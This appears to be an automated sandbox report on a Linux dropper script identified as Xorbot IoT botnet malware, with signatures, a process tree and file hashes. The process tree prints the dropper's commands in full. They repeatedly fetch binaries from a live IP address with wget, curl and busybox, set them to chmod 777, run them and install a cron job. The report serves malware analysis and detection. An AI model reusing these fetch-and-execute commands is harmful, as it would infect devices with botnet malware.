Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    03/12/2024, 16:25

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    f6bd33e2fdcb1e0896028c8af8d15c0b

  • SHA1

    19ac7736e1325c6b2f90a67e915cbf04b778d6d3

  • SHA256

    fb49bd7f52a014b5e07587fb826822f3884b9ecc8a40380dcd2c0f58284f4de4

  • SHA512

    2548568c238900b5445d454b38ca9c33d7d55f0888615a5057058aacd5980ca49d60d2084da5f43764db0b92a08fa1e5411fcfd18c628a0c1212ebcb5781b032

  • SSDEEP

    192:ntdYqZnD6Jb48QutTRtcHZ8QutTRtitdYa:8qZnD6Jima

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2057) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 10 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:649
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:653
        • /usr/bin/wget
          wget http://216.126.231.240/bins/Nau7TQiGuF47bJ10qfnJTBFbtdyHBnqeOU
          2⤵
          • Writes file to tmp directory
          PID:656
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/Nau7TQiGuF47bJ10qfnJTBFbtdyHBnqeOU
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:674
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/Nau7TQiGuF47bJ10qfnJTBFbtdyHBnqeOU
          2⤵
          • Writes file to tmp directory
          PID:681
        • /bin/chmod
          chmod 777 Nau7TQiGuF47bJ10qfnJTBFbtdyHBnqeOU
          2⤵
          • File and Directory Permissions Modification
          PID:683
        • /tmp/Nau7TQiGuF47bJ10qfnJTBFbtdyHBnqeOU
          ./Nau7TQiGuF47bJ10qfnJTBFbtdyHBnqeOU
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:684
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:686
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:687
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:688
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:689
              • /bin/rm
                rm Nau7TQiGuF47bJ10qfnJTBFbtdyHBnqeOU
                2⤵
                  PID:691
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/bqRiq7jpDewORxIukfT7liDyTO0XmkbDZx
                  2⤵
                    PID:694
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/bqRiq7jpDewORxIukfT7liDyTO0XmkbDZx
                    2⤵
                      PID:695
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/bqRiq7jpDewORxIukfT7liDyTO0XmkbDZx
                      2⤵
                      • Writes file to tmp directory
                      PID:780
                    • /bin/chmod
                      chmod 777 bqRiq7jpDewORxIukfT7liDyTO0XmkbDZx
                      2⤵
                      • File and Directory Permissions Modification
                      PID:781
                    • /tmp/bqRiq7jpDewORxIukfT7liDyTO0XmkbDZx
                      ./bqRiq7jpDewORxIukfT7liDyTO0XmkbDZx
                      2⤵
                      • Executes dropped EXE
                      PID:782
                    • /bin/rm
                      rm bqRiq7jpDewORxIukfT7liDyTO0XmkbDZx
                      2⤵
                        PID:783
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/3ovF4DfNNNzK9QYestWR6uIzanN52wTtop
                        2⤵
                          PID:784
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/3ovF4DfNNNzK9QYestWR6uIzanN52wTtop
                          2⤵
                            PID:785
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/3ovF4DfNNNzK9QYestWR6uIzanN52wTtop
                            2⤵
                            • Writes file to tmp directory
                            PID:786
                          • /bin/chmod
                            chmod 777 3ovF4DfNNNzK9QYestWR6uIzanN52wTtop
                            2⤵
                            • File and Directory Permissions Modification
                            PID:789
                          • /tmp/3ovF4DfNNNzK9QYestWR6uIzanN52wTtop
                            ./3ovF4DfNNNzK9QYestWR6uIzanN52wTtop
                            2⤵
                            • Executes dropped EXE
                            PID:790
                          • /bin/rm
                            rm 3ovF4DfNNNzK9QYestWR6uIzanN52wTtop
                            2⤵
                              PID:791
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/7pYqvBqXG2FNRF7VmY9NF5G5quOTC1h1Ww
                              2⤵
                                PID:792
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/7pYqvBqXG2FNRF7VmY9NF5G5quOTC1h1Ww
                                2⤵
                                  PID:793
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/7pYqvBqXG2FNRF7VmY9NF5G5quOTC1h1Ww
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:800
                                • /bin/chmod
                                  chmod 777 7pYqvBqXG2FNRF7VmY9NF5G5quOTC1h1Ww
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:808
                                • /tmp/7pYqvBqXG2FNRF7VmY9NF5G5quOTC1h1Ww
                                  ./7pYqvBqXG2FNRF7VmY9NF5G5quOTC1h1Ww
                                  2⤵
                                  • Executes dropped EXE
                                  PID:810
                                • /bin/rm
                                  rm 7pYqvBqXG2FNRF7VmY9NF5G5quOTC1h1Ww
                                  2⤵
                                    PID:811
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/pT0abjl2KImWcJxKzyZ60ljZpTKp7TdpKs
                                    2⤵
                                      PID:812
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/pT0abjl2KImWcJxKzyZ60ljZpTKp7TdpKs
                                      2⤵
                                        PID:814
                                      • /bin/busybox
                                        /bin/busybox wget http://216.126.231.240/bins/pT0abjl2KImWcJxKzyZ60ljZpTKp7TdpKs
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:820
                                      • /bin/chmod
                                        chmod 777 pT0abjl2KImWcJxKzyZ60ljZpTKp7TdpKs
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:832
                                      • /tmp/pT0abjl2KImWcJxKzyZ60ljZpTKp7TdpKs
                                        ./pT0abjl2KImWcJxKzyZ60ljZpTKp7TdpKs
                                        2⤵
                                        • Executes dropped EXE
                                        PID:834
                                      • /bin/rm
                                        rm pT0abjl2KImWcJxKzyZ60ljZpTKp7TdpKs
                                        2⤵
                                          PID:836
                                        • /usr/bin/wget
                                          wget http://216.126.231.240/bins/NmwBIFvxfjd7pHnDKxjkkqYctxHWhhk8LO
                                          2⤵
                                            PID:837
                                          • /usr/bin/curl
                                            curl -O http://216.126.231.240/bins/NmwBIFvxfjd7pHnDKxjkkqYctxHWhhk8LO
                                            2⤵
                                              PID:839
                                            • /bin/busybox
                                              /bin/busybox wget http://216.126.231.240/bins/NmwBIFvxfjd7pHnDKxjkkqYctxHWhhk8LO
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:841
                                            • /bin/chmod
                                              chmod 777 NmwBIFvxfjd7pHnDKxjkkqYctxHWhhk8LO
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:865
                                            • /tmp/NmwBIFvxfjd7pHnDKxjkkqYctxHWhhk8LO
                                              ./NmwBIFvxfjd7pHnDKxjkkqYctxHWhhk8LO
                                              2⤵
                                              • Executes dropped EXE
                                              PID:866
                                            • /bin/rm
                                              rm NmwBIFvxfjd7pHnDKxjkkqYctxHWhhk8LO
                                              2⤵
                                                PID:868
                                              • /usr/bin/wget
                                                wget http://216.126.231.240/bins/AdO1iuM6FDVj6iuLMdJiI4MxTUKRCHRd6Q
                                                2⤵
                                                  PID:869
                                                • /usr/bin/curl
                                                  curl -O http://216.126.231.240/bins/AdO1iuM6FDVj6iuLMdJiI4MxTUKRCHRd6Q
                                                  2⤵
                                                    PID:870
                                                  • /bin/busybox
                                                    /bin/busybox wget http://216.126.231.240/bins/AdO1iuM6FDVj6iuLMdJiI4MxTUKRCHRd6Q
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:873
                                                  • /bin/chmod
                                                    chmod 777 AdO1iuM6FDVj6iuLMdJiI4MxTUKRCHRd6Q
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:892
                                                  • /tmp/AdO1iuM6FDVj6iuLMdJiI4MxTUKRCHRd6Q
                                                    ./AdO1iuM6FDVj6iuLMdJiI4MxTUKRCHRd6Q
                                                    2⤵
                                                    • Executes dropped EXE
                                                    PID:893
                                                  • /bin/rm
                                                    rm AdO1iuM6FDVj6iuLMdJiI4MxTUKRCHRd6Q
                                                    2⤵
                                                      PID:896
                                                    • /usr/bin/wget
                                                      wget http://216.126.231.240/bins/ioR1NySPZEW96VjyTtgWfPGFHl6xutquP1
                                                      2⤵
                                                        PID:897
                                                      • /usr/bin/curl
                                                        curl -O http://216.126.231.240/bins/ioR1NySPZEW96VjyTtgWfPGFHl6xutquP1
                                                        2⤵
                                                          PID:898
                                                        • /bin/busybox
                                                          /bin/busybox wget http://216.126.231.240/bins/ioR1NySPZEW96VjyTtgWfPGFHl6xutquP1
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:899
                                                        • /bin/chmod
                                                          chmod 777 ioR1NySPZEW96VjyTtgWfPGFHl6xutquP1
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:914
                                                        • /tmp/ioR1NySPZEW96VjyTtgWfPGFHl6xutquP1
                                                          ./ioR1NySPZEW96VjyTtgWfPGFHl6xutquP1
                                                          2⤵
                                                          • Executes dropped EXE
                                                          PID:915
                                                        • /bin/rm
                                                          rm ioR1NySPZEW96VjyTtgWfPGFHl6xutquP1
                                                          2⤵
                                                            PID:918
                                                          • /usr/bin/wget
                                                            wget http://216.126.231.240/bins/LOoOZ3Af2S6EngCzpmJriKHCKpxh9Jom0L
                                                            2⤵
                                                              PID:919

                                                          Network

                                                                MITRE ATT&CK Enterprise v15

                                                                Replay Monitor

                                                                Loading Replay Monitor...

                                                                Downloads

                                                                • /tmp/3ovF4DfNNNzK9QYestWR6uIzanN52wTtop

                                                                  Filesize

                                                                  177KB

                                                                  MD5

                                                                  786d75a158fe731feca3880f436082c0

                                                                  SHA1

                                                                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                                  SHA256

                                                                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                                  SHA512

                                                                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                                                • /tmp/7pYqvBqXG2FNRF7VmY9NF5G5quOTC1h1Ww

                                                                  Filesize

                                                                  141KB

                                                                  MD5

                                                                  3ca8decdb1e52c423c521bfff02ac200

                                                                  SHA1

                                                                  8621ecd6807109b8541912ad9e134f6fb49bfd48

                                                                  SHA256

                                                                  dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                                                  SHA512

                                                                  b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                                                • /tmp/AdO1iuM6FDVj6iuLMdJiI4MxTUKRCHRd6Q

                                                                  Filesize

                                                                  111KB

                                                                  MD5

                                                                  ca897a38f23ec23521ce0b1b83f8422d

                                                                  SHA1

                                                                  b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                                                  SHA256

                                                                  043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                                                  SHA512

                                                                  10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                                                • /tmp/Nau7TQiGuF47bJ10qfnJTBFbtdyHBnqeOU

                                                                  Filesize

                                                                  119KB

                                                                  MD5

                                                                  1b166b95f9cb4b079ef1b9ec8363ddf3

                                                                  SHA1

                                                                  0d8eb08add467b3b5474f9b25909297fe7c2839c

                                                                  SHA256

                                                                  94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                                                  SHA512

                                                                  983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                                                • /tmp/NmwBIFvxfjd7pHnDKxjkkqYctxHWhhk8LO

                                                                  Filesize

                                                                  111KB

                                                                  MD5

                                                                  701e7a55a4f3650f5feee92a9860e5fc

                                                                  SHA1

                                                                  6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                                                  SHA256

                                                                  ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                                                  SHA512

                                                                  7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                                                • /tmp/bqRiq7jpDewORxIukfT7liDyTO0XmkbDZx

                                                                  Filesize

                                                                  107KB

                                                                  MD5

                                                                  eb9c3a0de91fcf16ba17cb24608df68c

                                                                  SHA1

                                                                  09d95a7d70d5e115d103be51edff7c498d272fac

                                                                  SHA256

                                                                  dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                                                  SHA512

                                                                  9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                                                • /tmp/ioR1NySPZEW96VjyTtgWfPGFHl6xutquP1

                                                                  Filesize

                                                                  112KB

                                                                  MD5

                                                                  05d7857dcead18bbd86d2935f591873c

                                                                  SHA1

                                                                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                                                                  SHA256

                                                                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                                                  SHA512

                                                                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                                                • /tmp/pT0abjl2KImWcJxKzyZ60ljZpTKp7TdpKs

                                                                  Filesize

                                                                  151KB

                                                                  MD5

                                                                  3c90d5820bddcf7c5d1bd21dfa49d958

                                                                  SHA1

                                                                  5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                                  SHA256

                                                                  bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                                  SHA512

                                                                  54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                                • /var/spool/cron/crontabs/tmp.tpjMMU

                                                                  Filesize

                                                                  210B

                                                                  MD5

                                                                  f45576e49f7974348c97bab91f94b75a

                                                                  SHA1

                                                                  e8983cc872d0393fd536acbd52f9e87ba02016db

                                                                  SHA256

                                                                  4b18b2b410ff3d0cba28b3d430635e9222544768d79c4ff06ef261bf2d6abc24

                                                                  SHA512

                                                                  2aa20ff448617c8e8b8b83f017bc3b7a547ada353485ad635afcd8f5d54a541516d198d82a70196b09ee23dd0a25831aaf6612d2d2ac8226f619091547de7ba9